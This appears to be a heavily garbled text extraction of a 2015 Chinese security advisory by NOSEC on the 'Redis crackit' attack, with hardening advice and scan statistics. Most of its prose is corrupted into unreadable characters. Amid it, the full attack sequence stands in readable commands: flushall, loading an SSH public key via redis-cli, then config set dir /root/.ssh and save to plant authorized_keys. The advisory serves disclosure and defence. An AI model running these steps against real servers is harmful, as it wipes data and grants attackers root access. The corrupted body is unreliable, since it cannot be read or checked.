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1&  4&

2015Ð11ġ10Ė�k12ōÈ��ï2yŒ!Į�Ŧ��=]ŖredisƧƠƄǠ�ǒ¾�

T%ƌƅǂƖ!OƅçŝNE"3�ǁĶ©ƜĵŝĊX"3�ƙǒ¾Linuxģe��®ĭ

redisģe�AŖrootĩǝ�f�Ñ�łĢǍƆƢƩ�Å~ƎƎ¨¿ƑredisČÿ�«�ģe

�ƘŇdƳ�Ŗ$ssh、ŮśÝ�!

ſƽŜÍŁ´O�ǘŝǂ�ļZĬ�ĻĶĊX"3Êſ¿ƑƐÂ10000»ĞǢredisģe

�ƘîcNE�ï27��ƃüƃğđǂ�ļfä�!

2& 
���&

2015Ð11ġ10Ė�k12ōÈ��ï2�PƅǋƇŝ§�´O“ǒģe�Ǜƃƞy!Ø

Ì�Ɵ�Ģ§�redisČÿƘűŎňŰ�ǆƽZĬyŒ	!

!! ôƖ!flushallňŰČÿŝĈ?!

!! �redisČÿ�đÖ!����crackitŝkeyǔI�T¼�ssh<rsa!AAAAB3Nza<Ļ

£ŤřƓÎ²Ľ>mo6BLZV4/!crack@redis.io�!®��!

!

!! �/root/.sshĎ3¬�đÖ!��authorized_keysĎ3�T¼àĘěĚredisŕîŝ

db#ǂ_Ď3�ǎǤňĝŝť^crackit¾ÕT¼��ÅĚNEƊÄƫǆƽǍƆ��

sshŝkeyīǂƖśÝ�T¼®��	!

!
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3& ���-&

^ša�Ĺ�ï2ǀĕŃĘŪŝ¾ĻĶNEƽŮ·��ŊŅNE���redis¶Ēƅų

Ñĥ¾ĻąCƗ�ƐÂša�Ĺť^]ŖŝƽŮǌĚ�$redisąCŝĺÌcƎ�Ƌ�ǁ

�ǗǦ�2014Ð9ġÅƘ?�、Ů/ŧôƖRCEŝøħǗǦ?!P×yË�Ñá^!ÁƔ�

ŝ8ć�!

ſƽcrackitŝQǔ²įƭ��2015Ð11ġ4Ė�́ OŨů)�Antirez�.Ħ)ÅĚRedis

ŝ?Ɗ�ŝblog�http://antirez.com/news/96�PË!��redisąĩŝøÉ�"¸�+Ð�

lÐ]ŖredisVĎ3ŝĒŃƘ©ǐÕŖ�ǆÌǌĚVNwebshell?�ƅų�ǖŮÓ�Ƌǁ

Ķ?ƊÆ$ƈøħđŝ]ŖæƷ�Ď3;Ɔŝ{hƣ]Ŗ�Ĝ��Ƙċ©�©ƑìæĚ]Ŗ

redis�ŖòšÝVN��sshŬǓĎ3�-ƋÖŲ��F4QŻ�ǁİ�ǡƙƻNssh½ŧ

Å~1śN�!

�øħĎĲƘPË1��×¯Ģ�ö��'�ǂƖ!ZĬǨƩ�¸ǚ]Ŗŝ��11ġ7

ĖÈ�ƅ�ÊſƎ÷^�&ƅųųǕyŒǆƽredisƘNEŝıB�:ĚÜėǀĚÁƔ�ŝ

]Ŗ�Ţ^+ª�ǁ�ŊŅƘŖ$¸ǚŝ©ƜĵõĄ�NE�ǁĶŝõĄǣÌźĞ�ũ�ç

©�Ɣ�Ò�7Ţ”\Ǟģe��ŝČÿ�Ñ�ŇdM½ŧśÝŝƳ��!

4! �)8�!

�!ğŝœƝǙùĒŃ�ï2¾RǂƖ!µčŝøħǀs�!
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ő�ƙŀ	1root�fŝredis�~1、ŮśN^redis!console!

ǧL�@ŝ。”Ĩ��ƻN	!

!

īŕî��PǓ�!

�

�

ŕî^txt! ! (echo!<e!"\n\n"`!cat!id_rsa.pub`!echo!<e!"\n\n")!>!foo.txt!

Ŏ�	redis<cli!<h!xxxx!flushall!ňŰredis�ǣÌĞb�ưeâ�ņƫő�ôƖ�!

ôƖ	cat!foo.txt!|!redis<cli!<h!xxxx!<x!set!pwn!

Ŏ�śÝredis�ôƖ®��0	!



 

ETIIS6

�°ƍ

ëúş

ĂŻƂ

øħŜ

Ş !

Redis Crackit NE"3ZĬ v1.1! P×!
!

2015<11<11! BMH!Confidential! Page6,!Total10!
!

!

�Ǥ�0ĚƱŖconfig!set�0¾redisŝ¤5Ď3ƷßǂƖGĉ�Ŏ�ôƖsaveǂƖŕî¤

5Ď3�ǁǎĚŕî!authorized_keysĎ3��ǁİÅ~1AŖĦ�ŝŬǓtśNƘĴN

PǓŝsshģe�!�

!

�
�

5! ����!

ęĊX¾Ʋ	!

!! Redisģe�!

!! Linuxő�!
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!! ¾Pƅ×ċ!

!! ĥ�ŖƢƩ!

!! 1rootĒÙ�f�ǣâǡ�!

!

ŒƲ	!

!! redisǌƘôƖƽflushall�0ǂƖňŰ!

!! redisTđÖcrackitŝkey!

!! redisŝdiruČƘý�!/root/.sshĎ3¬!

!! /root/.sshšÝ�7ŕî��authorized_keysĎ3�ðƊƚŠŒĢŝ�!

6! �3���6!

!! �ėG¥ÖƤ�ǆƽǍƆrename<command!CONFIG!""�ūŖ�&�0��Į&âǥ

1ǩĩǝƿƖŝ�~1HǑƮĒı�!

Gĉredis.confĎ3!

¡d!

rename<command!FLUSHALL!""!

rename<command!FLUSHDB!""!

rename<command!CONFIG!""!

rename<command!EVAL!""!

!! 1<ĩǝ�fredis!

[þ^R.Ŗòsu!xxx�Ŏ�U�fserver�[þĚ�ńì�aĎ3ĩǝ��ǡƙţÕGĉ��!

!! ƀredis¡dǨƩ�!

Gĉredis.confĎ3!

!
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!! ūĹ¾Pƅ×ċ�!

Gĉredis.confĎ3!

!

!! ĳįŖò.sshšÝ�Ě�Êſ³�ǣŃŝauthorized_keysĎ3!

Ǒ$redisÑ�ąCR.Ƴ��fģeŝƏĦ�¿ƑŒƅ©ǐredisģe�Ěǆƽrootŝ

ĩǝī�finit.d�ŝģeƏĦ�:Ě¶ĒĘŪV^�!´O�[ƦgAŖrootƸ5�f�

http://redis.io/topics/security

! !

!

Ǟ!�Ħŝ�Žd�ăē�ŊŅGƗ¦�ï2Ƣ�Ġ��ǈǙŽDŎĚ8Ƃŝ¤5Ē

ı�·Ĥ¤5Ǐƙŝ�eČÿ�ÖƤǋƇ�&âƙŝ¤5Ō¤Ēı�Ɩ�TĢ�&~Ŗŝ'

�~Ŗ$£œĻŹǗǦ�Ŀ®~1]ŖŹ9$§¤5ÇSī¾redisČÿÔǂƖãǇŝ¤5

�é¥�!

!

7! �59; FAQ!

!! *�}redis!crackit�!

ĻĶǒ¾redisǂƖ©ƜĵõĄ�NEŝ"3�7�redisģe��ŕî³���

crackitŝkey�ó1ï21redis!crackitī��ĻĶ"3!
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!! ǁĶ"3Ģ*�pº�!

îcŝNEƎ¨¿ƑredisČÿ�«�ģe�ƘµOĂ_�!

!! Þ�Ɣ�Ģ§©�!

��%ƌƅĢƐÂƵƽ10000�ģe�ƘNE�oĿƼ^×ċredisģe�ŝ67%��Å

ĚƯľ100�¾Pƅ×ċŝģe�ÅĢ67�ƘõĄNEƽ�!

!! ^��ƺƗ�!

àǉí�łĢƗ�¶ƅƢ��ĚŊŅƋĚĺÌcƎ�ó1�¶ƅĉ{�ì�a�ưu

Ɖï2ąCŝG¥ÖƤ�!

!! ïÕƮå�J�!

uƉG¥ÖƤ�ŷn,ž	ǂƖǙŋ ǍƆūĹǣ�eƅƁƨǗ
GĉǍƆĎ3bind

ŝIP
ǜ<ƿƖĩǝ
�ėūŖ�&pǟ�0
·Ĥ¤5Čÿ�!

®ĭyŒ!NEŚǅ�ǀƙÀÊſNEîcŝ�ǖǂƖňǞ�!

!! ǂƖ®�Ĉ?Ě�Å�·´O�!

RediscƎƽ$Û©�Ģà§Őç~Ǝ¿ƑđŝǗǦ�Ŀ®Ģ´OŨů)�yŒ~1x
ÚshellŝĒÙīƕzĂ_ĩ��ÅĚƯ	qė6379ŵ|łĢ¾¦ƅ×ċ�:Ě]ŖSSRF
ŶŊŅÅƎ¨ƞy�ðƊ�<ĩǝŝwebshellīŖ$ĩǝąj�!

ŗ$ĊXĒŃŝ§İç�!ǀư©»¾redisǂƖǕĤŝşĂ�ė`QńǁĒǤŝ´Oƴ
ƥ��ėï2�7�ĐƗKđŝŦƪ!

8! 3	*!!

ñƐša�Ĺ�ǆƽï2ǂ�ƹŝûİƱį�ï2ąz!15��¾Pƅ×ċŝredisģ

e�ƶǂZĬ�yŒR�Ģ15238�ĥǂƖǨƩǍƆ��ÅĚƯĢƵƽ10%ŝģe��ǡƙ

½ŧÅƎ¨。”
R�vĢ10312�ģe�ĢNEŚǅ�èĿBƵƽ67%ŝ×ċģe�ƘN

E�!
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9& �2&

!! A!few!things!about!Redis!security!http://antirez.com/news/96!

!! Trying!to!hack!Redis!via!HTTP!requests!

http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_reques

ts/index.html!

!! Redis!Security!http://redis.io/topics/security!

!! http://www.lua<users.org/wiki/SandBoxes!

!! http://v2ex.com/t/234520! !

10&����&

i(ŜÍŁŭøĢǝP�Ě�»�ń$´O©Čÿ�6�°ƍëú��6�ąCÃŵ´

O'��ģeŝ�»ǩŭø%ƌƅ6��!

NOSEC©Čÿ´Om?Ï��NOSEC.ORG�ĚRĔ�ŝ�ĸ©Čÿ´Om?Ï��

·;Fê´O-�Ɗ�Ŕ¢WY ��ŖòąC´O©ČÿFêwǩżÇSŶ�AŖ¾Ʋ�

ƙ�ŜÍ±�Fê´O-�Ɗ�w6�Ŗò�!

®Ģ4>ìƛ�ÖƤ�ķƾǆƽ®�ĒÙ�ï2ƌŻ	!

ƌŻǊŸ	support@nosec.org 

¹ģŘƬ	  400-650-2031!


